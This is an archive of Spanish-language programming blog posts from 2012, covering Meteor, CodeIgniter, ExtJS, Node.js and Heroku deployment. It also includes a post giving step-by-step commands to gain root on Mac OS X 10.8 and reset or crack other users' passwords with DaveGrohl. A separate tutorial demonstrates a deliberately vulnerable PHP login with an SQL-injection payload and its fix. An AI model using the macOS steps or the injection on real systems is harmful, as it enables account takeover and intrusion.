16 noviembre, 2012
Estamos trabajando en un módulo de plan de sucesión para empleados de una empresa, se presento el problema de encontrar a los posibles sucesores de algún puesto a ser vacante próximamente, tenemos el organigrama de la empresa en una base de datos en donde básicamente se tiene el registro de nodo_origen y nodo_destino para poder construir la trayectoria o los puestos a los que un puesto (nodo_origen) puede ascender, en este caso lo que nos dan es el puesto meta (nodo_destino) y lo que se requiere saber es que puestos pueden llegar a ascender a este. Se implemento un método recursivo para poder hallar todos los puestos que se encuentren en la trayectoria, y publico el algoritmo por si a alguien le sirve:
function obtenerPuestosTrayectoria($params)
{
$psucesion = $this->psucesiondao->findById(json_decode($params)->plan_sucesion_k);
$arrPuestos[0] = 100;
$x = 0;
$i = 1;
do {
//Buscamos los hijos del puesto dado
$hijos = $this->getNodosHijos($arrPuestos[$x]); //Devuelve los puestos donde nodo_destino = $arrPuestos[$x]
//Por cada hijo
foreach ($hijos as $hijo) {
//Agregamos el hijo al arreglo de puestos
$arrPuestos[$i] = $hijo->nodo_origen_k;
$i++; //Incrementamos $i
}
$x++; //Incrementamos $x
} while ($x <= $i); //La $x se vuelve mayor cuando ya no se encuentran hijos y no se incrementa la $i
//Quitamos puestos repetidos y reordenamos el arreglo
$arrUniquePuestos = array_values(array_unique($arrPuestos));
print_r($arrUniquePuestos);
}
Saludos,
@l_nrique
14 noviembre, 2012
Esta vez vamos a hablar de Meteor JS, que es una plataforma open-source para la creación de aplicaciones web de manera rápida y con resultados impresionantes. Meteor JS esta basado en Node JS y todos sus beneficios.
Personalmente me agrada la idea de codificar en un solo lenguaje y soy fan de Javascript, por eso cuando descubrí Node JS quede totalmente fascinado.
Meteor JS fue creado por programadores de ROR es por eso que la idea principal es el desarrollo ágil de aplicaciones, su arquitectura permite la persistencia de datos y ejecución de código de Javascript tanto en el cliente como el servidor. Tambien cuenta con sistema de paquetes diferente a NPM (sistema de manejo de paquetes de Node JS) que permite agregar funcionalidad a nuestras aplicaciones de una manera muy sencilla, muy parecido a lo que hacen las gemas en ROR.
Que mejor manera de ver como funciona Meteor JS que con una aplicación de ejemplo, en esta ocasión vamos a hacer un sistema de votación en el cual los usuarios podrán votar por su framework de desarrollo favorito.
Actualmente Meteor JS solo tiene soporte para OSX y Linux.
Creación de la aplicación
Primero vamos a instalar Meteor JS, abrimos la consola y ejecutamos el siguiente comando:
$ curl https://install.meteor.com | /bin/sh
Ahora vamos a crear nuestra aplicación:
$ meteor create votacion
Ahora vamos correr la aplicación:
$ cd votacion
$ meteor
y obtenemos el siguiente resultado en la consola
Meteor JS crea por defecto una plantilla de archivos para nuestro proyecto.
Ahora vamos a agregar Bootstrap a nuestro proyecto para poder darle estilos nuestro proyecto de una manera mas rápida y sencilla.
$ meteor add bootstrap
Lo siguiente es modificar nuestro archivo de html agregando algunos estilos que Bootstrap nos proporciona:
<head>
<title>votacion</title>
</head>
<body>
<div class="container-fluid">
<div class="row-fluid">
<div class="span2">
<!--Sidebar content-->
</div>
<div class="span8">
<div class="page-header">
<h1>Rank it! <small>Pick or add your favorite Web Framework</small></h1>
</div>
{{>addFramework}}
</div>
<div class="span2">
<!--Sidebar content-->
</div>
</div>
</div>
</body>
<template name="addFramework">
<form class="form-inline">
<input type="text" class="input-large" placeholder="Add framework">
<button type="submit" class="btn btn-primary">Add Framework</button>
</form>
</template>
No vamos a comentar mucho sobre Bootstrap ya que ese no es el objetivo de este post, pero en realidad utilizarlo es bastante sencillo solo hay que ir al sitio y consulta la documentación, para poder empezar a implementar el diseño de nuestros sitios de una manera mas ágil.
La parte importante de nuestro código es la parte del template, por defecto Meteor JS trae un sistema de plantillas integrado llamado Handlebars y es mediante esta librería que podemos dividir nuestra aplicación con un sistema de plantillas bastante eficiente.
Ahora vamos a agregar la sección de votación para que nuestros usuarios puedan votar por su Framework favorito.
<table class="table table-hover">
<thead>
<tr>
<th>Votes</th>
<th>Framework</th>
<th>Vote</th>
</tr>
</thead>
<tbody>
{{>list}}
</tbody>
</table>
Ahora agregamos el código de nuestra plantillas.
<template name="list">
{{#each frameworks}}
{{> framework}}
{{/each}}
</template>
<template name="framework">
<tr>
<td>{{votes}}</td>
<td>{{name}}</td>
<td>
<button type="button" class="btn"><i class="icon-ok"></i> vote</button>
</td>
</tr>
</template>
Ahora ya estamos listos para empezar a escribir el código para poder agregar Frameworks a nuestra base de datos, por defecto Meteor JS viene con MongoDB que es una base de datos no relacional, su sintaxis esta basada en Javascript y es bastante poderosa 
.
El código para agregar Frameworks a nuestra lista es el siguiente:
//creacion nuestra documento de Frameworks, en sql seria la tabla
var Frameworks = new Meteor.Collection("frameworks");
if (Meteor.isClient) { // detectamos si se trata del cliente
Template.list.frameworks = function () { //traemos la lista de los frameworks
return Frameworks.find({}, {sort: {score: -1, name: 1}});
};
Template.addFramework.events({
'click button' : function (e) {//cuando le damos click al boton
var value = $('#f-name').val();
e.preventDefault();
if(value){
if(Frameworks.find({name:value}).count() === 0) {//si ya existe no lo agrega
Frameworks.insert({name:value,votes:1});
}else{
alert('It has been already added!');
}
}
}
});
}
Ahora el código para votar que tambien va dentro de Meteor..isClient:
//logica para votar
Template.framework.events({
'click button' :function() {
// como estamos ejecutando el codigo para un framework en especifico tenemos
// acceso a el mediante this._id
Frameworks.update( { _id : this._id }, { $inc : { votes : 1 } } );
}
});
Y listo tenemos nuestro sistema de votación listo y con estas simples lineas de código también hemos logrado hacer que nuestra aplicación se actualice en tiempo real en todos nuestros clientes o_O!
El código se encuentra alojado en github en la siguiente url https://github.com/manduks/votacion para que lo descarguen y jueguen con el un rato.
Deploying
Debido a que Meteor JS es una tecnología joven los creadores han implementado un sistema de hosting en la nube de todas las aplicaciones que creemos, la manera de hacer el deploy de nuestra aplicación es bastante sencilla solo tenemos que ejecutar el siguiente comando en nuestra consola:
$ meteor deploy votacion
Ahora ya podemos ver nuestra aplicación en linea en :
http://votacion.meteor.com/
Les recomiendo abran la apliacion en dos ventanas diferentes de su explorador y observen la actualización en tiempo real .
Armando Gonzalez
@manduks
30 octubre, 2012
Se llama “Daemons” a aquellos programas o tareas que ocurren detras del sistema y sin la intervencion del usuario.
En Mac OS X 10.8 existe un daemon que nos da acceso a servicios como root: com.apple.opendirectoryd.plist. En esta ocasión aprovecharemos esta imprudencia en la validación del servicio para realizar modificaciones a los usuarios.
A continuación se describe el proceso de lanzamiento y algunas acciones que se pueden realizar:
1. Inicia el sistema presionando las teclas cmd + S
2. Montar el sistema de archivos:
mount -uw /
3. Lanzamos el servicio que nos permite tener acceso como root:
launchctl load /System/Library/LaunchDaemons/com.apple.opendirectoryd.plist
Apartir de aqui tenemos acceso a root. Las posibilidades que tenemos son: cambiar el password de cualquier usuario, inclusive el de root o intentar crackear las contraseñas.
Cambio de contraseña:
1. Listamos a los usuarios:
ls /Users
2. Sustituimos usuario por el deseado y seateamos la nueva contraseña:
dscl . passwd /Users/[usuario] [password]
Crackeo de contraseñas:
Para este caso debemos de extraer los hashes de los usuarios, usaremos la herramienta: DaveGrohl-2.01.zip esta cuenta con la opcion de crackeo por diccionario. A la vez, tambien podemos usar John the Ripper Pro for Mac OS X para el crackeo.
1. Cambiamos la contraseña de root:
passwd [contraseña]
2. Ingresamos al sistema como root con la nueva contraseña.
3. Abrimos una terminal, descargamos y descomprimimos la herramienta:
cd /tmp;curl -O http://www.davegrohl.org/DaveGrohl-2.01.zip;unzip DaveGrohl-2.01.zip;cd DaveGrohl
4. Crackeamos la contraseña del usuario deseado:
sudo ./dave -u [usuario]
Al pedirnos contraseña debemos de usar la establecida previamente.
Si deseamos solo extraer los hashes para su posterior crackeo usamos:
sudo ./dave -j [usuario]
Saludos! @hellReuter_
23 octubre, 2012
El término seguridad proviene de la palabra securitas en latín. Cotidianamente se puede referir a la seguridad como la ausencia de riesgo o también a la confianza en algo o alguien. Sin embargo, el término puede tomar diversos sentidos según el área o campo a la que haga referencia. En nuestras aplicaciones web es un factor fundamental que debemos tener en cuenta al construirlas.
OWASP “The Open Web Application Security Project” a determinado una lista de top 10 ataques que ocurren en la web: OWASP Top 10 2010 – Spanish PDF
En esta serie de entradas, conoceremos de manera simple, como funcionan y como podemos protegernos de este tipo de ataques.
Como regla principal siempre debemos tener en cuenta nunca confiar en los datos que interaccionan con nuestros servicios.
INYECCION SQL
Es un método de infiltración de código intruso que se vale de una vulnerabilidad informatica presente en una aplicación en el nivel de validación de las entradas para realizar consultas a una base de datos.
El origen de la vulnerabilidad radica en el incorrecto chequeo y/o filtrado de las variables utilizadas en un programa que contiene, o bien genera, código SQL. Es, de hecho, un error de una clase más general de vulnerabilidades que puede ocurrir en cualquier lenguaje de programación o script que esté embebido dentro de otro.
Se conoce como Inyección SQL, indistintamente, al tipo de vulnerabilidad, al método de infiltración, al hecho de incrustar código SQL intruso y a la porción de código incrustado.
Para ejemplificarlo hemos creado un ambiente de ingreso de usuarios:
<?php
// Conección a la base de datos usando la libreria "mysql".
$config = array(
'host' => 'localhost',
'user' => 'root',
'password' => 'root',
'dbname' => 'usuarios'
);
mysql_connect($config['host'],$config['user'],$config['password']);
mysql_select_db($config['dbname']);
//Si el usuario ingresó datos en los campos se realiza la consulta.
if(isset($_POST['usuario'], $_POST['password'])){
$usuario = $_POST['usuario'];
$password = md5($_POST['password']);
//Mostramos como se a construido la consulta con los datos proporcionados por el usuario.
echo "SELECT COUNT(`id`) FROM `usuarios` WHERE `usuario` = '{$usuario}' AND `password` = '{$password}' ";
$query = mysql_query("SELECT COUNT(`id`) FROM `usuarios` WHERE `usuario` = '{$usuario}' AND `password` = '{$password}' ");
$resultado = mysql_result($query, 0);
}
?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns="http://www.w3.org/1999/html">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Seguridad PHP: Injeccion SQL</title>
</head>
<body>
<p>
<?php
//Si el ingreso es correcto se muestra el mensaje "Bienvenido!".
if (isset($resultado)) {
if ($resultado == 0) {
echo 'Password incorrecta';
}
else {
echo 'Bienvenido!';
}
}
?>
<!--Formulario, paso de datos por metodo POST-->
</p>
<p>
<form action="" method="post">
<p>
<label>Usuario: </label>
<input type="name" name="usuario" id="usuario">
</p>
<p>
<label>Password: </label>
<input type="password" name="password" id="password">
</p>
<p>
<input type="submit" value="acceder">
</p>
</form>
</p>
</body>
</html>
En nuestra base de datos tenemos un usuario llamado “administrador” con “password” como contraseña. Nos muestra el mensaje de “Bienvenido!”, pues el acceso es correcto.
Podemos observar como esta construida la consulta:
SELECT COUNT(`id`) FROM `usuarios` WHERE `usuario` = 'administrador' AND `password` = '5f4dcc3b5aa765d61d8327deb882cf99'
ATAQUE
Para realizar la injección probemos escribiendo como usuario: “administrador’ – “ y como contraseña: “cualquiera”:
En este caso tambien nos permite el acceso. Analicemos la consulta:
SELECT COUNT(`id`) FROM `usuarios` WHERE `usuario` = 'administrador' -- ' AND `password` = '32d064da8114739ce7ba481b78a8f868'
Despues de “administrador” estamos delimitando el campo de usuario con una comilla simple seguida por dos guiones. En lenguaje SQL los dos guiones es la etiqueta usada para comentar, por lo tanto el resto de nuestra consulta no es considerada.De esta manera, cualquier usuario es capaz de inyectar código a partir de nuestra consulta. Veamos algunas medidas que podemos tomar para hacer nuestro script mas seguro.
CONTRAMEDIDA
Para asegurarnos que los datos ingresados por el usuario sean adecuados, debemos validar o escapar (agregar una diagonal invertida) para remover el significado de los caracteres de control.
La libreria “mysql” nos proporciona para este caso la función: “mysql_real_escape_string()”
http://php.net/manual/en/function.mysql-real-escape-string.php
Usemosla en el ingreso de usuario:
if(isset($_POST['usuario'], $_POST['password'])){
$usuario = mysql_real_escape_string($_POST['usuario']);
$password = md5($_POST['password']);
Tratando nuevamente de inyectar caracteres de control obtenemos como resultado que nuestra consulta esta escapada correctamente:
SELECT COUNT(`id`) FROM `usuarios` WHERE `usuario` = 'administrador \' -- ' AND `password` = 'c893bad68927b457dbed39460e6afd62'
Por lo tanto, la inyeccion por el uso de caracteres de control ya no es posible.
A su vez PHP cuenta con la función para el escape caracteres: “addslashes()” http://php.net/manual/en/function.addslashes.php
Cabe destacar que PHP a partir de su versión 5.4 cuenta con la directiva: “magic_quotes_gpc” activa, que realiza el escape de caracteres en los datos ingresados por métodos GET, POST y COOKIE. El uso de las funciones en conjunto resulta en un doble escape de caracteres.
La función get_magic_quotes() http://www.php.net/manual/en/function.get-magic-quotes-gpc.php comprueba si la directiva se encuentra activa.
@hellReuter_
21 octubre, 2012
En este post aprenderemos a preparar nuestro proyecto en CodeIgniter [CI] basado en PHP, para almacenar sesiones en una BD con MySQL como gestor. La vista será creada con el mismo CI, estilizada con Bootstrap y controlada con jQuery.
CI es un framework de PHP basado en el MVC [Modelo-Vista-Controlador] y ocuparemos esta capacidad para generar nuestras vistas, al momento tendremos un solo controlador para la validación de nuestro formulario y un modelo para realizar estas búsquedas.
Lo primero es descargar nuestros Frameworks:
Una vez descargado CI, tomando en cuenta que ya instalamos XAMPP, copiamos el directorio en nuestra carpeta del proyecto, de la siguiente manera
Como mencionábamos al principio, esta primera parte se ocupará de tres cosas, multilenguaje, manejo de ambientes y uso de sesiones con BD, las secciones a modificar son los archivos autoload.php y config.php, los dos archivos ocupados se encuentran en system/application/config el primer punto será:
- Multilenguaje
Necesitamos cargar automáticamente el helper de CI para lenguaje. Modificaremos la línea 67 de nuestro archivo proyecto/application/config/autoload.php
$autoload["helper"] = array("language");
Es importante saber en donde guardaremos nuestros archivos de lenguaje, estos estarán en el directorio proyecto/system/language, si vemos, ya existe una carpeta llamada english, ahí guardaremos la carpeta spanish, para este proyecto, pero puede ser llamada como gustemos, el truco está en guardar que carpeta será cargada, esto lo indicamos en el archivo proyecto/application/config/config.php en la línea 72.
$config["language"] = "spanish";
En este ejemplo cargaremos automáticamente el archivo de lenguaje para nuestra barra de navegación navbar_lang.php y modificaremos la línea 99, no es necesario agregar la terminación _lang
$autoload["language"] = array("navbar");
La estructura de los archivos de lenguaje, son como siguen:
$lang["navbar_project_name"] = "Administración de Recursos UniNet ®";
$lang["navbar_project_name"] = "UniNet ® Administration Resources";
- Ambientes
CodeIgniter se basa de 3 tipos de ambientes development, testing y production en donde en desarrollo se reportaran todos los errores y para testing y producción no se mostrarán estros errores, estos ambientes están definidos en el archivo proyecto/index.php y se define en la línea 21
define("ENVIRONMENT", "development");
Y nos ayuda, para poder cargar distintos archivos, tomemos el ejemplo el archivo ocupado en proyecto/application/views/general/header.php de la línea 8 a la 15
if(ENVIRONMENT == 'development'){
echo '<link rel="stylesheet" href="assets/bootstrap/css/bootstrap.css" />';
echo '<link rel="stylesheet" href="assets/bootstrap/css/bootstrap-responsive.css" />';
} else {
echo '<link rel="stylesheet" href="assets/bootstrap/css/bootstrap-min.css" />';
echo '<link rel="stylesheet" href="assets/bootstrap/css/bootstrap-responsive.min.css" />';
}
De esta forma estamos diciendo, que si estamos en ambiente de desarrollo, descargaremos los archivos sin comprimir, de otra forma (testing, production) descargará los archivos compresos
- Sessiones con BD
Para manejar sesiones primero tenemos que cargar automáticamente las librerias de sesiones y de base de datos, esto en la línea 55 del archivo autoload.php mencionado anteriormente
$autoload["libraries"] = array("database", "session");
Y ahora configurar los datos de sesión, en el archivo proyecto/application/config/config.php en la línea 247.
$config['sess_cookie_name'] = 'uninet_session';
$config['sess_expiration'] = 7200;
$config['sess_expire_on_close'] = FALSE;
$config['sess_encrypt_cookie'] = FALSE;
$config['sess_use_database'] = TRUE;
$config['sess_table_name'] = 'uninet_sessions';
$config['sess_match_ip'] = FALSE;
$config['sess_match_useragent'] = TRUE;
$config['sess_time_to_update'] = 300;
Y un punto muy importante, para el uso de sesiones, y que es recomendado en la documentación de CI es crear nuestra encryption_key esto en la línea 227 del mismo config.php
$config["encryption_key"] = "8L6475FdBpfKQ2}1EC93OU`/YR($gD0G";
Para el uso de BD es requerido capturar los ajustes dentro del archivo proyecto/application/config/database.php
$active_group = ENVIRONMENT;
$active_record = TRUE;
$db['development']['hostname'] = 'localhost';
$db['development']['username'] = 'root';
$db['development']['password'] = '';
$db['development']['database'] = 'uninet';
$db['development']['dbdriver'] = 'mysql';
$db['development']['dbprefix'] = '';
$db['development']['pconnect'] = TRUE;
$db['development']['db_debug'] = TRUE;
$db['development']['cache_on'] = FALSE;
$db['development']['cachedir'] = '';
$db['development']['char_set'] = 'utf8';
$db['development']['dbcollat'] = 'utf8_general_ci';
$db['development']['swap_pre'] = '';
$db['development']['autoinit'] = TRUE;
$db['development']['stricton'] = FALSE;
$db['production']['hostname'] = 'localhost';
$db['production']['username'] = '';
$db['production']['password'] = '';
$db['production']['database'] = '';
$db['production']['dbdriver'] = 'mysql';
$db['production']['dbprefix'] = '';
$db['production']['pconnect'] = TRUE;
$db['production']['db_debug'] = TRUE;
$db['production']['cache_on'] = FALSE;
$db['production']['cachedir'] = '';
$db['production']['char_set'] = 'utf8';
$db['production']['dbcollat'] = 'utf8_general_ci';
$db['production']['swap_pre'] = '';
$db['production']['autoinit'] = TRUE;
$db['production']['stricton'] = FALSE;
Hay que hacer notar el uso de la variable $active_group para ser congruentes con nuestro uso de ambientes
Con esto, tenemos configurada nuestra primer parte de multilenguaje, ambientes y sesiones con BD.
El source lo podemos descargar desde svn-checkout
Y la BD uninet-bd
- CKO Rodrigo Loyola -
TW: @RodrigoLoyJar
12 octubre, 2012
El dia de hoy veremos lo facil que es crear un timeline, personal o de eventos utilizando la libreria TimelineJS, que es un libreria de JavaScript especializada para crear timelines de una manera facil y super sencilla.
Lo primero que vamos a hacer es crear un Google Spreadsheet y de ahí exportarla a la web.
Publish to web
Después copiamos el link que aparece en la publicación
URL spreadsheet
Ahora vamos al siguiente link TimelineJS y en la sección de ejemplos pegamos el link que nos genero el spreadsheet
Timeline Embed Generator
Una vez pegado el link en la caja de texto, vamos a crear el preview:
Preview
Al presionar el botón de Preview, se genera un código del tipo iframe para poderlo ocupar en cualquier pagina web, y si le damos click en el botón Link to Preview se genera un link en el cual podemos ver el timeline que hemos creado.
http://embed.verite.co/timeline/?source=0AgrkTnEcw7LXdEJ1dTh1S1dCbm05ZXpYYVdwZnB2U0E&font=Bevan-PotanoSans&maptype=toner&lang=en&height=650
y el ejemplo queda de la siguiente forma:
Listo
Y como podemos ver es bastante sencillo crear un timeline con esta poderosa libreria de JavaScript, HTML y CSS 3.
Saludos
@manduks
28 septiembre, 2012
Tenemos otro ejemplo sencillo de la facilidad con que se puede trabajar en ExtJS y suExt.draw.Component, para ello hemos utilizado Objetos del tipo Ext.drawSprite que simulan el cuerpo de la serpiente y su comida, para el cuerpo de la serpiente y simular el movimiento se utilizo un Array y sus metodos push(), pop() y unshift(), los invito a pasar un rato divertido jugando snake y los reto a llegar a un score superior a 300, el código lo pueden clonar en https://github.com/lumartineck/snake.
http://codetlan.com/snake/
Saludos,
@l_nrique
7 septiembre, 2012
Hola que tal, ahora vamos a ver un poco de Node Js.
Node.js es un entorno de programación en la capa del servidor basado en el lenguaje de programación Javascript, conI/O de datos en una arquitectura orientada a eventos, y basado en el motor Javascript V8. Fue creado con el enfoque de ser útil en la creación de programas de red altamente escalables, como por ejemplo, servidores web.1 Fue creado por Ryan Dahl en 2009, y su evolución está apadrinada por la empresa Joyent.
Para este ejemplo vamos a crear un chat con node Node.js y Sencha Touch 2. Para lograr la comunicación ent iempo real vamos a ocupar la libreria de Socket.IO y vamos ocupar el framework de Express que es un framework de Node.js inspirado en Sinatra.
El código se encuentra hospedado en github (https://github.com/manduks/SenchaChat), y el demo en linea esta hospedado en http://labbbs.net/, es código esta disponible para ser descargado y modificado.
@manduks
24 agosto, 2012
Hemos desarrollado un ejemplo de un Dashboard en ExtJS 4, donde mostramos la información de una manera amigable, en una gráfica de pie y en un grid, la misma información pero diferente presentación, además podemos utilizar diferentes filtros para esa información, en este caso tenemos un MultipleSlider que filtra la información en intervalos de edad para el pequeño ejemplo que tenemos de las tazas de cafe que toman a diario las personas.
El ejemplo, como ya se va haciendo costumbre, esta siendo validado por el equipo desencha y en breve podrá ser visualizado en try.sencha.com, mientras esto ocurre, lo pueden bajar y modificar en https://github.com/lumartineck/dashboard.git o bien verlo funcionar en eldemo de la pagina de codetlan.
http://codetlan.com/dashboard/
Saludos,
@l_nrique
11 agosto, 2012
Hoy vamos a ver como hacer el popular juego de brickbreaker usando ExtJS4 y su librería de dibujo, el desarrollo de este ejemplo contempla validaciones simples para poder saber cuando los elementos collapsan y así poder ejecutar alguna acción o procedimiento.
El ejemplo funcionando se encuentra en la siguiente url:
http://www.codetlan.com/brickbreaker/
El código se encuentra hospedado en github (https://github.com/manduks/BrickBreaker), y se encuentra en validación por el equipo de sencha try (http://try.sencha.com/) para su posterior publicación.
El código puede ser modificado y optimizado para posteriores versiones …. saludos.
@manduks
28 julio, 2012
En los ejemplos de Sencha hay varios grids con filtrados globales, pero me pareció interesante poder hacer un filtrado por columna, entonces procedí a elaborar un ejemplo de grid con filtrado individual por columna mediante combos, estos se alimentan directamente de los datos del grid que hay en cada columna. Cada que se selecciona un valor en un combo, este se añade al conjunto de filtros que esten seleccionados en ese momento, haciendo el filtrado bastante visual e intuitivo para el usuario final.
Este ejemplo esta siendo validado por el equipo de Sencha en la página http://try.sencha.com/ y por el momento lo pueden descargar y modificar de la siguiente url https://github.com/lumartineck/individualcolumnfilter, también se ha montado un demo en la página de Codetlan con el que pueden empezar a probar y la url es la siguiente http://www.codetlan.com/files/individualcolumnfilter/.
Saludos
@l_nrique
1 julio, 2012
El día de hoy hablaremos de la forma en la que podemos subir una App Rails a Git y una vez que se tenga alojada ahí, veremos la forma de tenerla corriendo en Heroku que es un “Cloud Service” el cual soporta varios lenguajes de programación.
Prerequisitos:
- Se debe de tener creada una cuenta gratuita en Git y Heroku.
- Tener una App corriendo en Ruby and Rails.
- Versión Ruby 1.9.2.2p290
Lo primero que se debe de hacer es loguearnos en Github.
1.- Una vez que estamos logueados, debemos de crear nuestro repositorio y darle un nombre con el cual lo identificaremos, como se muestra en la siguiente imagen.
Se tiene una opción que nos pregunta si sera publico o privado. Por ahora lo manejaremos como publico, debido a que es un ejemplo para este post.
En el caso de elegir la opción de privado se debe de pagar una membrecia pero claro, con esto obtendremos beneficios para que nuestro código sea totalmente privado.
2.- Ahora abrimos una terminal, cabe mencionar que los pasos se realizaran en una MAC para los lectores que manejen algún otro OS.
Nos vamos a la carpeta de nuestra App y vamos a escribir el siguiente comando
# git status
“Muestra el estatus que tiene cada uno de los archivos con respecto a nuestro repositorio local”
- Nota: Se debe de aclarar que se tendrá un repositorio local en nuestra maquina, por lo que primero se debe commitear ahí el proyecto y una vez que este listo se sube al repositorio de Github mediante Push(Este comando se utilizara mas adelante).
Observemos que en la imagen anterior con el comando git add “Nombre del archivo” podremos agregar los archivos que se desean commitear en caso de que se quieran ignoran algunos de estos.
Si se desea subir el proyecto completo vamos a ejecutar el siguiente comando
# git add .
“Agrega todos los archivos que son los que se van a subir”
3.- Por fin llegamos a la parte donde podremos hacer nuestro primer commit localmente.
# git commit -m “Comentario”
“Sube los archivos de nuestra App al repositorio local, pero OJO aun no se sube a Git. El comentario es para identificar lo que se este commitiando”
4.- Pasamos a la parte principal donde se creara una conexión remota a Git para poder realizar el almacenamiento de nuestra aplicación.
Y para lograr esto nos vamos a Github y entramos al repositorio que creamos en el paso 1.
Aparecerá la información de los archivos que están almacenados por el momento y también podremos observar la URL con la que realizaremos la conexión remota.
Vease la siguiente imagen:
Para tener la conexión remota ejecutamos el siguiente comando
# git remote add origin https://github.com/username/archivo.git
“Vamos a añadir la URL que aparece en el repositorio como se mostró anteriormente y automáticamente se creara el enlace.”
5.- Ya que se tiene el paso anterior vamos a poder realizar PUSH de nuestros archivos locales.
#git push origin master
“Con esto vamos a lograr almacenar nuestra App en el repositorio que se creo, en palabras mas simples se tendria en la “Nube de GitHub”
Finalmente tenemos nuestra App en Git LISTA!!!
Véase la siguiente imagen:
El siguiente objetivo del Post es ahora alojar nuestra App en Heroku y tenerla corriendo en la NUBE(Internet).
1.- Lo primero que se debe de hacer es generar una llave ssh entre nuestra aplicación y heroku con el fin de subir de una manera segura nuestros archivos.
En nuestra terminal vamos a teclear los siguientes comandos:
# ssh-keygen -t rsa
Nos preguntara que si deseamos salvar la llave generada en la ruta que indica, le damos Enter y ahora nos solicitara una frase, esta se manejara como contraseña y se solicitara cada que hagamos un PUSH a heroku. Nos pide que la confirmemos y con esto se estará creando la llave ssh.
2.- Agregamos la llave generada a heroku.
# heroku keys:add
Pregunta el tipo de llave que se desea agregar en nuestro caso sera la numero 2 que es id_rsa.pub debido a que fue el archivo que se genero en el paso 1.
Envía un mensaje de que ha sido agregada correctamente y procedemos a loguearnos.
- Para loguearnos escribimos lo siguiente:
# heroku login
Nos solicita nuestro Email y password que dimos de alta, si son correctos muestra un mensaje que la autentificación fue satisfactoría.
3.- Lo que sigue es crear un entorno en la pila de Cedar(es un entorno flexible que se genera para poder deployar nuestra App).
Al realizar este proceso tenemos listo el entorno donde alojaremos nuestra App y lo podemos confirmar ingresando a Heroku vía web y nos dirigimos a la opción de My Apps. Aparece el nombre que nos otorga Cedar automáticamente.
Esto se puede observar en las siguientes imágenes:
Si damos clíck en “General Info” podemos visualizar la información de nuestra App y la URL que debemos visitar ya que se tenga corriendo el proyecto.
4.- Finalmente llegamos al paso mas importante de este Blog, donde podremos hacer PUSH a Heroku, esto quiere decir que los archivos que tenemos actualmente en Git ahora almacenaran una copia en Heroku y a su vez se hara un deploying automático para tener nuestra App ejecutándose en la Nube.
# git push heroku master
“Vamos a subir una copia de archivos de Git a Heroku”
Al momento de estar instalando las Gems de Rails en Heroku nos muestra un error de que no pudo instalar sqilite3.
Este error se debe a que Heroku no tiene el soporte para BD en sqlite3. Aqui es donde aplicamos “La Magia que tiene ROR”.
Vamos a instalar la gema de postgres “pg” para producción y con esto se resolverá el problema, debido a que ahora cuando se tenga la App corriendo en heroku en vez de utilizar sqilite3 utilizaremos Postgres como BD.
A continuación se muestra un ejemplo del archivo Gemfile por si tienen alguna duda de como integrar las Gems tanto para desarrollo, producción y los assests que en este caso ocupamos jquery.
Ya que tenemos estos cambiamos se tienen que realizar algunos de los pasos del Post que en resumen serian:
- Hacer commit localmente. (Véase paso 2 y 3 de Git)
- Realizar Push a Git. (Véase paso 5 de Git)
- Realizar Push a Heroku. (Véase paso 4 de Heroku)
Una vez que terminamos los pasos anteriores al subir a heroku ya no tendremos problemas con la BD porque ahora utilizamos Postgres y nos mostrara algo como esto:
5.- Ya que se tiene la aplicación corriendo en Heroku como se mostró en la imagen anterior, realizaremos la creación de la BD mediante el siguiente comando.
# heroku run rake db:migrate
“El comando ejecutara los migrates que están dentro de nuestra App y con esto se crearan las tablas que conforman nuestra BD.”
Aqui observamos un ejemplo de la creación de las tablas:
Podemos decir que ya tenemos nuestra App y la BD Listas y para confirmar nos dirigimos a la URL del paso 3.
En la imagen anterior podemos ver la aplicación creada corriendo en la Nube y con esto diríamos que se logro el objetivo de mostrar como se aloja y se realiza un deploying en Heroku.
Saludos a todos y estaremos escribiendo mas publicaciones sobre RoR.
Dejen sus comentarios…. 
@Waldiixx
